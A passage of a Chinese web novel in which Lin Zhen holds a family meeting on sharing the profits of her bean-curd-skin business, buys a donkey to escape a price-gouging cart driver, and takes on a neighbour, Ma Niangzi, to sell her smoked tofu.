林真叹气,还真是被那牛车主拿捏住了。 说好了要与丰乐楼送货,夏日两日一送,冬日五日一送。那赶车的村人本就存着加钱的心思,再添上丰乐楼那头的路程,更是有得说嘴。 林真望天,有些烦。 “真姐儿这是咋的了?不是说有大酒楼瞧上咱家的腐竹,要赚大钱了,怎还叹气呢?”林屠户冲着贺景问。 “许是在忧心又要教家里人劳累了。”贺景当然知道为了啥,可他没说实话。 “嗨!我说她寻思啥呢,咱家现在新添了你,她担心个啥。” 林屠户倒不是在点贺景,虽只进林家一日,可也瞧得出这女婿能干着咧。 今儿一大早,牲口棚收拾妥当了不说,灶上连粥都熬上了,教惠娘好一顿夸。 他瞧在眼里,也确实欢喜。 “爹,我去屋子里给真娘寻样东西。” “成,你喊她一起去,蹲恁久了,也不怕腿麻。”林屠户挥挥手。啧,这称呼,还怪奇怪的。 林真腿真麻了。 搭着贺景的手才站起来,一路被人领到屋子里还奇怪。瞧见贺景翻他那两只箱子更奇怪了。 说起来,这算是贺景的’嫁妆‘罢?她可从来没打过主意的,这是作甚呢? 贺景从箱子底下翻出一个粗布包袱,看了两眼,捧到了林真跟前。 “里面有五貫钱,是当初那八貫钱剩下的。散碎的一百来文是我自个儿存下的,还有这把梳子……” 贺景顿了顿才接着说:“是我自个儿攒下钱买的,是……” “送给我的!”林真自信滿满,不错眼地盯着贺景。 贺景笑了笑,将东西都送到林真手边。 “是,是我想要送你的。” 很普通的桃木梳子,可林真捏在手里,又瞧了瞧那沉甸甸的五贯钱,只觉着手里的梳子热得发烫。 她十分郑重道:“结发夫妻,白首同心。你若不负我,我必不辜负。” 贺景面上有些发红,他能感受到林真的郑重和真心。他这样的人,也能值得人如此郑重?倒显得他似乎也十分重要一般。 好在他肤色黑,即便面上发烫,应当是瞧不出来的。 贺景定了定神,将话题拉回来:“再卖上几日腐竹,咱们便可再去买上一头壮年驴子来,那便再不受人辖制了。” 林真实在开心,这人,与她想到一处去了。 “不用攒,我手里还有两贯,咱们明日就去买驴子!” 她想了想又补上一句:“这五贯,我日后补给你!” “别推,这不是与你分清楚。该是你的就是你的,我打明日起还要正经记账咧!咱家这腐竹营生支开来,一家子都出了力的,那就记账算工钱,都有得分!” 贺景将钱拿出来就没想过拿回去,他本就身无长物。原本就是林家的钱,他箱子里的两身好衣裳和两床被子,都是从那八贯钱里头来的。 他最大的财产,只有那把用了许多年的铁斧。 从前饿着肚子买下来的,不单指望着它砍柴,它还牵着他心底最后一丝野望。 可现在到了林家,有了林真,那铁斧便好似只是劈柴的物件了。 “咱们心往一处,劲儿也往一处使!日子定然是越过越好的!”林真在展望未来,又叫画大饼。 “好!”贺景眼睛亮晶晶。 显然,有人很乐意吃这大饼—— 作者有话说:1 欢门的概念出自北宋,里头的描写参考了《东京梦华录》 第26章 林家在开家庭会议。 “赶车的村人想加錢, 我可不想如了他的意。有一就有二,他人又不爽快,少不得还要生事儿。賀景拿了五贯錢出来, 我手中还有两贯,咱自家去買一头壮年驢子去,懒得受他辖制!” 林真三言两语说完。 林屠戶听见女儿特意点出賀景舍出的五贯錢来,心中欢喜:瞧瞧, 都在护着人了, 看来真姐儿对这夫婿是滿意的;女婿也很不错, 没藏私,好啊! 这才是一家人过日子。 “秋收将至,牲口行正是热闹的时候,这时去怕是要挨高價, 爹也出一贯,明儿我就去牲口行寻人留意着。” 林真的这场婚事, 林屠戶是着意办得好了些, 真姐儿招赘, 这排场就不能落下。 手中錢财去了大半,虽有收礼, 可两相并未持平, 这时手中确实不甚宽裕。可林屠戶也瞧不上赶车那戶人家, 眼红贪心, 实在小道,还是凑出钱来自家買驢, 不与他家打交道的好。 家里添驢子的事儿就说定后,林真又提了记账的事儿。 “咱家这营生也算是支应开了,一家子都出了力的, 该要分钱。” 瞧见林屠户似乎有话说,林真先擺手。 “打住打住,爹,您先听我说。” 卖腐竹的钱一直在林真手里,她有回拿钱给苗娘子,人一个劲儿推脱。 稍稍一想,就曉得跟她屠户爹脱不了干系,那时赚得不多,林真就没坚持,只是注意着给家里添些柴米油盐酱醋茶甚的。 可现在生意起来了,苗娘子陪着制腐竹不说,村人还会上门来買豆干儿。她是全围着腐竹转悠了,再不给钱可说不过去。 “爹,女儿是这样想的。往后这营生赚来的钱,女儿拿六成,三成供给家中开销,还有一成,给苗娘子。”林真这话其实很是大胆。 父母在,不分家。这是此时的枣儿村最常见的家庭模式。 一个灶头盛饭吃,钱财捏在长輩手中,长輩包揽衣食住行。未成丁的子女手中无私产,成家生子的小家庭中也没有私产。甭管私下有没有,可明面上是绝对不能有的。 家中多少钱财,除了长辈,谁都不清楚,只能私下算算。连提都不能提上一句,否则就是算计家财,不孝的帽子就要扣上来。 可林家显然不这样,林屠户和女儿相依为命,本就不大瞒着女儿家中钱财之事。待原身大些到肉攤子上幫忙后,有时连记账都是原身在做。 是的,原身是识字的。 幼年失恃,对女子来说尤为不利。 失训与无教,两顶大帽子扣下来,在这个以相夫教子为女子本分的时代,几乎可以看作是判了一个闺阁女子的’死刑‘。 林屠户当然知道轻重,不然当年也不会着急娶妻。后来婚事不顺,思来想去,干脆花钱将原身送去縣里的女塾师那处教养。 一月六百个钱,三节两寿还要额外送礼。 识字记账、女红中馈、人情酬酢样样都教,原身在女塾中,一呆就是四年。 不然,就凭肉行攤子的收入,林屠户怎么着也不至于在縣里打拼小十年了,还是只能赁房来住。 可即便这样,林真在婚嫁之事上还是会被人挑剔:终究不是当娘的亲自教养出来的,总是欠些风范。 每每想起来,林真就怄得慌。 林屠户原是不想要女儿的钱,这稀罕玩意儿是真姐儿搞出来的,本钱、擺摊的地儿和客人样样都是真姐儿自家办的。 他私心里,是想教真姐儿自家捏在手中,手中有钱心不慌,多添一层底气不是。 林屠户可不似那些死捏着钱财逞威风的老東西。 钱是个好東西,谁都知道。可若是钱财全靠小辈赚来,当长辈的还要捏在自个儿手里用来辖制人,那不是教子女离心吗? 在林屠户看来,这当真是蠢出升天了。他自是不会作出这样的糊涂事来。 可听见真姐儿说要分出一成利来给苗娘子的时候,他猶豫了。 惠娘确实辛苦,他这些日子清闲,家里连着办事儿,银钱花出去的多,拿回来的少。且他家情况特殊,是该教惠娘自个儿存些银钱在手,还有一个燕儿呢。 虽说他是一定会给燕儿存嫁妆的,可到底隔了一层。 谁有,都不如亲娘手里有来得安心。 林屠户猶豫,苗娘子心中也是纠结难安。 在听见分她一成利时,她呼吸一停,心中发紧,多年的规训告诉她:你不该拿。 可心中的挣扎是怎么也不能骗人的。 这一犹豫,苗娘子就没说话。 林真见倆人都不说话,只当倆人默认了,当即拍板。 “成,就这样说定了!散会!睡觉去!” 明月的清辉洒在这间小院儿,清亮亮还自带静谧氛围,伴着虫鸣与晚风,林真心里格外畅快。 抬头瞧见一弯明月,眯起眼来,双手合十作虔诚状:“最好明日,就能买到一头油光水滑年轻力壮的好驴子来!” 林家的第一届家庭会议圆滿落幕,除了还不大知事的燕儿,整个儿家里,怕是只有林真睡得安心。 贺景躺在一旁,瞧着身旁熟睡的人。 她果然是不一样的,有她在的家,也是不一样的。 == 林真今日坐的还是村人的牛车。 说起要往西市丰樂樓去,村人果然要加钱,一口气加五文钱。 “真姐儿,不是叔胡乱要價。这先往西市再朝兴福坊去,一来一回要耗去我多少时间?且你这东西是越来越多了,只加五个钱,实在算不得多!” 那村人翻着眼皮子,一副你占了大便宜的模样。 呸! 且不说兴福坊地处慈溪县西北处,与西市所隔不远。就说今日,她确实多带了一筐腐竹送去丰樂樓,可只有三斤!但今日只有她一人去县里摆摊,人少了一个怎不算? 林真深吸一口气,罢了。丰乐楼的事情耽搁不得,且不与他在此处多费口舌! “成!可咱得说好了,你可别今日加价明日又加的。小本生意,赚个辛苦钱,经不住您这日日加价。” “呵,真姐儿过谦了不是?你这还是小本生意啊?你这都要往大酒楼送货了,手头随便漏一点出来,都够我赶好几日的车了。” 村人仗着枣儿村只他一家赶车的独门生意,钱要赚足了,嘴上也不肯吃亏。 林真憋着一口气爬上车,懒得搭话。 哪曉得,这人实在不知见好就收,一路念叨着生计困难赚钱不易之语。 好不容易挨到了兴福坊,林真数出十五个钱来。 “今日下半晌不用来接我了。我爹进城办事儿,我自是与他一道走。” 村人接了钱,一一放进自个儿荷包,嘟囔道:“成,不接你,我还能多带几个人哩!” 林真,差点儿被惹毛了! 说得好像她没给钱一样! 不行,今日就是在牲口行耗上一日,她也要教他爹将这驴子买下来! 林屠户还在家里滤豆浆,这厢有贺景加入,即便家里要磨的豆子翻了一倍,他也不觉着吃力。 这女婿实在舍得下力气哩!好孩子,都是好孩子。 今儿去县里割些肉来给家里人补一补。 家里办席多来了好些人,原就没剩啥好菜,再与相幫的村人分上一分,更不剩甚了,得去买。 再有,买驴子要讲究缘分,要等,今日只是先去探探行情,还有时间。 还在家里盘算着的林屠户,显然不晓得林真的心思。 这头的林真虽心里有气,可她很快便调节好了。同往常一样,笑盈盈招呼客人,一团和气的模样。 她面上无异样,可与村人相争的样子还是教有心人瞧出来了。 “大掌柜,今日林娘子来与咱们送腐竹时,瞧着与那车夫可不大和睦。先前兴福坊内的伙计也说过,林娘子与那车夫有些争执,有回还是自个儿背着家伙什来支摊子的。” 林福觑了个空,赶忙来找林掌柜。 “哦?”林掌柜摸了摸胡须,“你今日去瞧瞧,若是咱能帮上忙就帮一把。” 林家女郎可不是个甘愿受制于人的,定有打算。 竹林雅集办得实在漂亮,林家女公子不仅取得了老太爷的认同,春水魄和金缕素云更是赚得盆满钵满。 流水的银子往八仙茶坊和丰乐楼淌。 女公子如愿,对林家姐儿印象不错;林掌柜高升,一举拿下丰乐楼大掌柜的职务,对林真不止欣赏,还觉着这小娘子运势强,更是有心相交。 这不,机会来了。 林福得了吩咐,当即就去寻林真。 他现在是外柜管事,与人结交再正当不过。 林福来得倒是巧,赶来就碰见林真在与林屠户抱怨。 “爹且不晓得他多张狂,您去牲口行多转转,今日,咱一定要牵一头驴家去!” 林屠户挠挠头,今日不是旬日,牲口行没多少人,更没甚好货。 林福凑上来,三两句话打听清楚后,直拍腿。 “这样的小事儿林娘子怎不与我说说?东家庄子上养了好牲口,本就是要往外卖的,卖与谁不是卖?林娘子是老熟人了,怎还这样见外?” “当真?福小哥,可不是我见外,若是晓得你这头有好牲口,我定然早早就寻你了。今日可能去瞧瞧?” 林真也不怕人瞧出来她的急切,林福显然是有意相帮,哪里还会在价钱上占便宜。 “怎不行?只是庄子在城外,若要赶着今日过契,咱可得快些。” 林真将剩下的两把腐竹和熏豆干一卷。 “走,咱今日就去!” 第27章 林真和她屠户爹牽着驢子家来的时候, 不出意外,又遭到了村人圍观。 这回林真不觉着尴尬了,反而牽着驢子昂首挺胸走在最前头。 哼!她凭本事赚的钱, 再眼红,那也只能红着。 虽然回家后,那股子脚趾扣地的尴尬又涌上心头来,可此时的林真, 确实是志得意满, 小林得意! 不论是谁, 别想要挟她! “这就买着了?”贺景圍着那头四肢粗壮,毛色順滑发亮的毛驢儿瞧了半天。 转来转去,只瞧见了神气,半点儿没瞧出一丝异样来, 连呼吸都格外順畅平稳。 “林掌柜给帮了忙,不然, 养得如此膘肥体壮的驢子, 还调。教得如此温顺, 哪里会往外头賣?”林真解释道,且这样打着灯笼都難找的毛驴只賣八貫钱? 林真还有甚不知道的, 这是林掌柜特意帮忙, 且还做得如此周到, 半点儿不邀功, 实在教人心里舒坦。 “把大毛牵后头去,咱去燒飯。爹多心疼你, 割了好大一塊儿上好的猪五花呢!” 回家路上,林真听了一耳朵’女婿能干‘、’舍得下力气‘这样的话,此时瞧见正主, 不免出言打趣。 “嗐,你这妮儿瞎说啥呢?我是瞧着咱自家辦席,可家里人忙叨叨却没吃上几口,这才割肉的!” 林屠户不认。 苗娘子擦着手笑 ,她原是想去燒飯的,可这会儿却不说话了。 “阿姐,新来的驴子叫大毛吗?”这是一心只关心毛驴儿的燕儿。 天儿热,且林家人肚里有食,也不是很馋油水,便没放大酱烧那腻乎乎的焖肉。 五花肉被一分为二,大些的加了姜片小葱煮了做个蒜泥白肉。肥瘦相间的肉,片得極薄,蒜末儿加足了,家里还有一坛子上好的香醋,料汁儿一淋,夏日吃来極为爽口。 另一塊儿小的,切了与豆干儿一块炒,加了好大一把青蒜叶子在里头。 在枣儿村住着的好處这时不就显出来了?这青蒜是自家菜园子里头长的,不肖花钱买,洒起来就是格外豪气。 贺景很有些烧菜的天赋,有林真指导,倆人合理整治的这一桌子菜不止卖相极好,味儿也是没得挑的。连有些吃絮了的豆角,焯水凉拌后都显得格外爽口。 一家子围着桌子有说有笑。 另一头,趕車的村人还翘着脚美呢! “哼,我今儿就给屠户家提了價,真姐儿是泼辣,可她还不是啥都没说?照样得搭我的車?我今儿瞧了,她送货的那酒楼好生气派,那一筐子叫甚腐竹的,不晓得要卖多少钱。只加五个钱,都算我厚道了!” “这,当家的,林家往后若是不搭咱家的車……” 他娘子有些担忧,一日二十文已是她家赚了,骤然加價,人定然不乐意的。 “嗤,当真是妇道人家没见识。你以为林家这生意能长久?照她家这样赚下去,迟早能自家买牲口来送货。我不趁着她家还用得着我这車,趕紧赚些银钱来?日后没了这桩巧宗儿,两文三文的,甚时候能攒下家业来?” “这,万一她家现就去买牲口呢?” “哪有恁容易?”趕车人很是得意。 “我算过了,屠户家先前辦的酒席是好,可这一下也快将家底儿掏空了。他家先要攒钱才能说买牲口的话哩。能拉车驮货的牲口,最便宜的属驴,一头壮驴,怎么着也得要七八貫,且驴子不经调。教拉不了车,一时半会儿的,他便是想买也买不着。少则三五月,多则半年,我必得再涨涨价,趁着这个时候多赚些钱来!” 村人是打定主意要从林屠户家扣出些钱来,一日二十文可不够,再涨涨价,一月赚上一贯也不難! 正美着呢,忽听见有人喊他。 趿着草鞋往外走,瞧见同村人笑眯眯道。 “屠户家刚才又牵了一头驴子家去了。瞧着油光水滑的,脾气还好,你不是说村里最会相牲口的就属你?怎不去瞧瞧热闹?” “啥?他家买驴了?他哪来的钱!”赶车人高声道,惊疑不定。 “嘿,这话说得。他家难不成还会赚钱的法子四處说与人听?反正人是牵了驴子家来,你不信,自个儿瞧去!” 村人说着,甩手就走,他今儿还就要看看,这赶车的去不去林屠户家。 村人今日这热闹是看不成了。 赶车人刚才在家里畅想赚钱买地,冷不丁梦碎了,这会儿心里气得慌。在家左等右等,始终不见林家来人告知他明日出车。 憋着一口气睡下了,第二日早早爬起来。 赶着车去村口,他倒要瞧瞧,屠户家是不是真买着了能拉车的驴子! 他倒也没白等,哒哒的蹄声儿传来,一眼就瞧见了赶车着车的贺景,还有林真和燕儿。 因带着的货少,这三人都是坐在车上的。那驴子脾气是真好,林家那上门婿手里只拿了根小木枝做样子,單單用缰绳,就能教拉车的驴子听话。 驴车一路行来,颇为稳当,那头毛色极好的驴子步子不紧不慢,瞧着还透出一股子不慌不忙的从容。 教谁来看,这都是一头极好的驴子。 “倒是巧了,您今儿也起这么早。”林真昨日高兴过了,这会儿见了人倒是先打招呼,也不说酸话。 “哼!等人!”赶车人倒是先气着了。 这会儿确实早,除了林真,还真没人找他拉货进城。除了去县里卖东西的,村人确实不会这么一大早往县里去。 林家三人见人如此,倒是心知肚明。遂不再搭理村人,自往县里去了。 “我按着时辰来接你,你就在此处,可不要自个儿搬重物。” 将姐妹二人送至兴福坊内,贺景着急家去滤豆浆,将摊子支开,叮嘱两句便要走。 “你慢些,我去买俩馒头来,你路上先垫一口。” “不用,我家去就能吃,你别管我了,和燕儿吃罢。” 嘁,当真是不拿自个儿身子当回事儿。多早就起来了,扫洒屋子架车装货,一路将她送到兴福坊还不见累。早起喝的那碗米汤能顶甚事儿? 说也不听,当真是犟。 “燕儿,他不吃咱们吃。你要糖馒头还是肉的?” “糖的。”燕儿欢快答道。 “这样才乖。你在此处等着,我去买来。” 托了旁边的伙计帮忙照看一二,林真去馒头铺买朝食。 待下半晌贺景来接的时候,林真有了经验,将买来的炊饼直接塞人怀里。 “我,我不……” “吃你的,别说话。咱家又不是吃不起飯了,恁大的身板饭都不添。怎的?家里人不许你吃饭啊?” 林真昨日吃饭时留心看着,贺景居然不会主动添饭,非要等家里人都添过一轮了,锅里还有剩的他才动手。 不是,这么小心的? 才发现的时候林真还有些来气,可瞧见瘦条条的男人小心舀饭时,不知怎的,她突然在他身上瞧见了上辈子的自己。 那个留守在家,这家蹭一顿,那家蹭一顿的小孩儿—— 作者有话说:短小,我认了[可怜] 第28章 林真现在有些心烦。 倒不是烦贺景, 他那不添饭的毛病好治得很。烧饭的时候多添半碗米,桌上有人,他便不会慌着下桌子。 林屠户夕食时必会倒半碗米酒来吃, 林真原先还想盯着林屠户少饮酒,后头发现那米酒像极了前世的醪糟,里头还有米粒儿呢!一点儿不醉人,便不管林屠户了。 如此, 林屠户这小爱好便一直保留下来。 现在倒好, 他要饮酒吃饭便慢, 倒是刚好能教贺景多坐一会儿,如此也不怕贺景吃不饱。 她愁得是另一件事儿:家里的熏豆幹太多了。 原先没有豐乐楼的订单,家里每日产出的熏豆幹不过百来块,林真摆摊卖一些, 林茂安分銷一些倒也能卖完。可现在每日多产三斤腐竹,便会多出一百多块熏豆幹。 多出来的这些, 可不好卖。 林真也想过制些其他豆制品来卖, 可細想来居然都不成。 制便宜省事的鮮豆腐吧。 这天儿实在是熱, 不过半日那新鮮的豆腐便会发粘。费心费力运往县里去,已然不新鲜, 怎会有人掏钱買? 如此, 这鲜豆腐只有村人偶尔提前说了, 才会制上一些在枣儿村卖。 若是制红方(腐乳), 这天儿也不适合。未入秋,天气没转凉, 湿度又大,红方要发酵长菌毛才成。可这天儿要想发酵?别想了,怕是只能发臭。 思来想去, 居然只有熏豆幹能多放几日。可熏豆干儿再是比其余豆制品易保存,若两三日卖不出去,那也会坏。 别说豆子是花钱買的,就只瞧着她爹和贺景握着滤架的臂膀上鼓起的青筋和滿头滿脸的汗,林真就说不出将挑过豆皮儿的豆浆白扔了的话。 浪费粮食是万万不成的。可瞧着又是抹盐又是熏烤的豆干儿卖不出去,更教人心疼。 某一刻,林真是真想念上辈子的科技与狠活儿。 摇摇头,将脑子里不切实际的想法甩出去后,林真盯着熏豆干儿发呆。 研发新产品行不通,那就只能扩大客户群体。 林真想起了林茂安,她这堂哥算是她的第一位分銷商,且他的熏豆干销量其实很不错。 林茂安脑子确实活泛,他日日都去卖熏豆干儿,可他不会每日都去同一處。今日去一處,明日便换地方,三两日才会往同一个村落去。 如此一来,他拿走的熏豆干儿倒是日日都能卖干净。 原先只拿四十来方,现基本能稳定出货六十方左右。且随着豐乐楼将金缕素云当招牌菜推广后,偶尔还会有乡绅托林茂安捎帶一两把腐竹。 他这豆干货郎的生意倒是稳住了。 乡间的销量如此,县里掏钱買豆干儿的人只会更多,只她们家实在分不出人手去另一处摆摊。 若是再有一个类似林茂安这样的分销商,她手里的熏豆干便不用愁了。 馬娘子! 林真眼睛一亮,一下就想到了从前这位人缘颇好又熱心肠的近邻。 == “你今儿不用来接我和燕儿。我要去尋馬娘子说话,不知甚时候才能家来。家里的豆子不大夠,索性今儿去米行买豆子,我便与米行的伙计一起家来,甭担心。” 林真将一肉一素俩热腾腾的馒头塞给贺景,不等人说话便摆着手赶人走。 “这些家伙什也不用担心,一会儿雇俩脚夫送到丰乐楼去暂放一晚,咱明日去送腐竹的时候一道帶来便是。” 林福已说过几回将東西寄放在丰乐楼的话,只林真宁愿自家费事些也不愿在此类尋常小事儿上麻烦人家。这回事出有因,也只能去寻林福帮忙。 方方面面俱已考虑齐全,贺景想不出还能说甚,只能揣着俩馒头赶着驴車家去。 林真卖完腐竹又安顿好青伞条凳儿后,这才提着两方特意留下的熏豆干,又买了杨梅、李子等时令鲜果凑夠一兜子后,这才往水井巷去。 水井巷还是老样子,水井、老树和蝉鸣,井口的黄葛树下坐了好些纳凉的妇人。 有人认出林真,笑着打招呼,林真笑眯眯地回应,再次踏上熟悉的地方,心情已然大不相同。 一路往馬娘子家去,恰好撞见了在门口啐人的馬娘子。 “呸!日日甩脸子给誰瞧?咱这处都是些目不识丁的白身,可看好你家那金疙瘩了!万万别教他同咱们说话,最好啊,连瞧都别瞧一眼,免得从这水井巷里飞不出去!” 瞧马娘子那方向,竟是林家原先的院子,现不知道是誰人在住,舍得马娘子如此叫骂。 林真停在原地,看来今日来得有些不凑巧。 “嗯?真姐儿,你这是来寻谁的?旁边是燕儿?哎呦呦,可不得了,小丫头长肉了,瞧着怪是乖巧惹人疼!” 马娘子一回头,瞧见林真姐倆,倒是半点儿不尴尬,反笑着招呼人。 林真遂笑道:“娘子一向可好?我们姐倆是来寻你的。” 又教燕儿喊人,半句不提刚才瞧见的事儿。 “真姐儿勿怪,家里没甚好東西待客。” 马娘子瞧见林真手上带了礼来,赶紧调了两盏子蜜水来待客。 心里又将自家小儿子骂一回,也不知野到哪儿去了,教她连使唤人去买两碗豆儿水来待客都不成! “娘子别忙活了,我寻你有事儿呢。且坐下,咱们说说话。” 待马娘子坐下后,林真将想了半天的说辞細细道来。 “此物唤熏豆干,凉拌、素炒都是极好的。若是加些肉进去,还能教豆干儿也染上肉味……一方三文,两方五文,只一方,便能整治出一盘好菜来,巷口人多,若是在那头支张桌子卖熏豆干,便是教巡栏收去两个钱,想来是能赚钱的。” 一口气儿介绍了东西、吃法、卖价,连如何售卖都讲了。林真端起茶盏子喝水解渴,顺便细细打量马娘子的神情。 瞧其面色,倒很是高兴。 “真姐儿,这东西原是你制的?真真是好本事儿,前些日子,你叔家来。嘟囔着人家请他吃了好菜,正是这熏豆干哩!昨日还念叨着要请回来,这回,我听你的,用方好肉来炒,不比那凉拌的来得好吃?” 马娘子心中甚是欢喜。 “娘子,此物您从我手上拿,我收您一文钱一方。这售卖一事,您怎么看?”林真问道。 “真姐儿有这样的好事想着嬸子,嬸子怎会不知你的好。”马娘子一口同意,随即眉头微皱。 “也不怕真姐儿笑话,家中钱财不甚宽裕,这头回卖豆干儿,婶子怕是只能先拿二十方来试试。” 马娘子将巷子里的人家都思量过一回后,这才定下二十方的数来。 这个量,她倒是有信心能卖完。 “娘子,这样,您先不肖给我钱,待豆干卖出去后……” 林真话还没说完,就教马娘子打断。 “不用,真姐儿,婶子虽没做过生意,可也知晓买卖一事,从来都是一手交钱一手交货。想赚钱,又想将风险都压。在你身上,哪有如此行事的。你别担心,二十个子,婶子还是能摸出来的。” 林真瞧着马娘子,对自个儿选的这位分销商更满意了。 两人又商量了一些细节,约定了明日送熏豆干的时辰,留下那兜子鲜果后,林真这才带着燕儿去米行。 马娘子快言快语,甚是爽快,时辰还早,倒不用着急,姐倆便打算一路走过去。 马娘子一路将林真姐倆送出水井巷后,又转悠着将自家疯跑的小儿子捉来。教他去码头寻家里那死鬼男人,今日请人来家里吃饭,好还了人家的人情。 这才急匆匆回去整治今日的夕食。 匆匆回家,瞧见隔壁那婆子又从门缝儿里盯着她家瞧,马娘子直道晦气! 心里发狠,她定要将这熏豆干卖出去! 不说别的,将每日吃水的钱给赚出来,日日买上三車水来,这老虔婆再敢门缝儿里瞧人,看她不骂上门去! 水井巷之所以叫水井巷,是因着在此处易出甜水井,巷头就有一口好井。 可马娘子家偏偏就没出好井,一家子五口人,若是全指着巷头的那口井过活定是不能,少不得要叫水车送水。 可马娘子养着两儿一女,娶妇嫁女,一个铜子儿恨不得掰成两半儿来花。 水车一缸子水要两文钱,她家五口人,再是减省也得要上两缸子水才够用。 可日日四文钱花出去? 那不成,马娘子得心疼死,她只叫一缸水,其余便支使家里大儿子去巷口排队打水。可一回只能挑一担,巷子里日日都排着长队等挑水,多去几回这日就不用做活儿了。 不说时间耗不起,人人眼珠子都盯着那口井。若是谁家一日来来回回跑几趟,能教人堵着门骂! 从前隔壁是林家,林屠户好说话,倒不介意马娘子日日从家里挑两担子水。 可谁叫林家搬走了,今年日头又格外毒。一日比一日热,用水量大增,惹得马娘子心里直骂:贼老天,莫不是要收人去? 可日子还是得过,马娘子咬牙要一缸半的水,家里小子跑两回。其余的?她带着礼敲开隔壁的门,商量着能否从那口井里挑一担水? 哪晓得,人将眼皮子一翻,说些话很不好听。 “这院儿恁窄,可却多花了好些钱,全因着院子里的那口井。今日你家开了这个口,明日又是他家,我这日子还过不过了?这样,你要是愿意将你家那院子划出一半来给我家,我倒是能考虑考虑,教你从井里挑水吃。” 马娘子气个半死,转身便走,打那以后,每日便花四文钱从水车处买水。 可隔壁那婆子,每每瞧见她家里的人,那傲的!只拿鼻孔瞧人! 这回,她必定要将这卖熏豆干的摊子支开。 马娘子盘算着,眼睛盯着吊在梁上的腊肉瞧,心一狠,将整块儿腊肉全切了! 又跑去门口,将木门全敞开。 第29章 申时, 日头落下大半,正是家家戶戶备夕食的时辰。 晚风徐徐,水井巷内, 大半條巷子的人家被一股子咸鲜折磨坏了。因这浓香实在霸道,稍一探头,就曉得是馬家在烧肉吃。 只馬家娘子从前也没甚擅庖厨的名儿传出来,今日是怎的了? 夕食弄得这样浓香招人。 馬家漢子提溜着一壶浊酒和一包嚼雜家来。 入了巷子, 闻着越来越浓的香味心里奇怪:真是奇了, 他怕招待不周还特意去桥头的集市上買了嚼雜家里。可这味儿闻着怎像是从自家传来的? 同行的漢子倒是不好意思:“吃顿便飯, 怎能如此劳动嫂子哩!” 话说得客气,可心里倒是极为受用,瞧瞧,弄得这样周到。 “不妨事, 不妨事。你嫂子这人,最是刀子嘴豆腐心的, 她早早便起意, 定要招待你一顿好飯食。” 馬家汉子呵呵笑道。 可心里却比友人还奇怪, 家里的情况他曉得,因着儿子女儿渐大了, 娶妇嫁女不是一笔小钱, 家里进项不多, 马娘子愈发烦他与人吃酒作耍。 可她也不想想, 去码头抢那来钱多的活计得抱團,若是不将这些工头招呼好了, 谁人肯搭理他?可今日她倒是转性儿了,如此舍得。 马娘子今日确实是下了功夫整治夕食的。 臘肉薄薄切片,加了熏豆幹和青蒜叶子爆炒, 一块儿臘肉倒是炒出满满两大盘子,这是主菜。又有韭叶炒鸡子、焙瓜瓠 、拌胡瓜和一碟子佐粥的咸菹。 再加上马家汉子買来的嚼杂,整整六个菜,摆了一桌子。 “劳嫂子整治这样好的饭食,没带甚好东西,只提了二两灯油来,嫂子莫嫌。” 马娘子眼睛一扫:嘿,蓖麻油,倒是不孬。 脸上笑盈盈道:“怎还带了东西来,恁客气。今儿好生喝两盅,叫大郎作陪,给你们斟酒吃。” 马家大郎在染作坊内做工,只不过是最下等的染工,一双手常年浸在染缸内,教热水和染料泡得没一处好皮肉。如此辛劳,所得钱财只比坊内的杂役学徒好些。 此时听见马娘子的话,也只站出来拱手叫一声’世伯‘,其余的话是一个也不枉外蹦。 马娘子每每瞧见大儿子这幅闷葫芦的样子就来气,今儿有喜事,倒是难得不生气。打了招呼,将堂屋留给喝酒的汉子,自家带着女儿和小儿子在灶屋用饭。 马家小郎今日倒是乖觉,瞧见灶屋内也有满满一大盘子的腊肉炒豆幹儿,倒是不吵闹,乖乖跟着进灶屋。 “吃,多吃些,瘦伶伶的可不行。”马娘子先夹了一箸腊肉炒豆幹儿在女儿碗里,又训小儿子。 “慢些吃!肚里像个无底洞,几天没吃饭似的。老娘平日可没饿着你!” 灶屋桌上的菜与堂屋只差了一道嚼杂,既丰盛味儿又好,马家小郎直直往嘴里塞,且顾不上陪自家老娘斗嘴哩。 马家小郎吃完也不抹嘴儿,带着油汪汪的嘴出门炫耀去。 往日这副吃完就往外跑的模样定是要被马娘子拧耳朵的,可今日,马娘子瞥了一眼猴子似的小儿子,没管他。 “瞧着你爹他们还得吃上好一会儿,娘先出去一趟,你瞧着人要吃完了来井口的老树下寻找娘啊。”叮嘱了女儿一番,马娘子也挎着个篮子出门去。 往巷子口的水井下一站,果然,好些出来纳凉的妇人瞧见马娘子就笑。 “你家今日吃得甚好东西?引得我家里的小儿直闹腾。” 马娘子心里欢喜,瞧瞧,这不就来问了。 真姐儿说的支个摊子卖豆幹儿可不行,白给那巡栏两个子儿,还不如就在自家售卖。又不耽搁事儿又不用给钱,只自个儿要費些功夫多说几句罢了。 “没甚。就是难得買到了一方好豆干儿,炒来待客。熏豆干儿晓得吧?兴福坊内出来的好东西哩!那味儿可好,拌来当凉菜吃客行,加些肉进去炒也成,最神奇的是。加了肉进去,那熏豆干儿也能吃出一股子肉味来。且那熏豆干儿是抹了盐的,都不用多加盐!” …… 跟着米行送货的伙计家去的林真,这时还不知道马娘子为了熏豆干下足了本钱正卖力宣传呢。 她瞧着进门的贺景奇怪道:“挑水去了?怎没趕驴车去?人去挑水費劲又费事儿的,哪比得上趕车去。” 贺景抹了抹脸上的汗,不在意道:“我去河边割草,顺手就挑担水家来了,近日用水量大。” 林真瞧了一眼檐下的青草,琢磨道:“家里这仨光吃豆渣确实不成,可它们仨吃得太多了。家里活儿本就重,日日给它们割草也累人。这样,等我爹家来了给他说说,寻个靠谱的村人每日给咱家割草,咱给钱就是了,几担青草费不了几个子。家里半大小子就能割,想必不少人家是乐意的。” 林屠户又跟着村人进山打柴去了,林家磨豆子制腐竹,除了豆子消耗得飞快,这柴火也耗得多。 贺景張了張嘴,想说话,可瞧着林真面上的神色,最终只点点头。 晚间吃饭时,林真说了教马娘子幫着在豆惠坊内销售熏豆干之事。 “真姐儿这主意好,马娘子爱结交,人又利索又能言善道的,有她相幫。瞧着家里恁多的熏豆干,我这心里才不发慌。” 最先赞的居然是一向不多言语的苗娘子,看来家里堆积的熏豆干给苗娘子造成的压力不是一星半点儿。也亏得她能忍住,面上不带出一点儿异色来。 家里有了压力,谁都没说一句抱怨的话。这教林真很是高兴,这样才有奔头! 翌日,林真先去丰乐楼送腐竹拿家伙什,又往豆惠坊的方向走,才在半道上就瞧见了等在路边的马娘子。 马娘子面上满是笑:“真姐儿,昨日托我帮着买熏豆干的人家有好些呢!我今日要三十二方,你可有多的匀给我?” “有,怎没有?卖谁都是卖,匀给娘子我也不吃亏。” 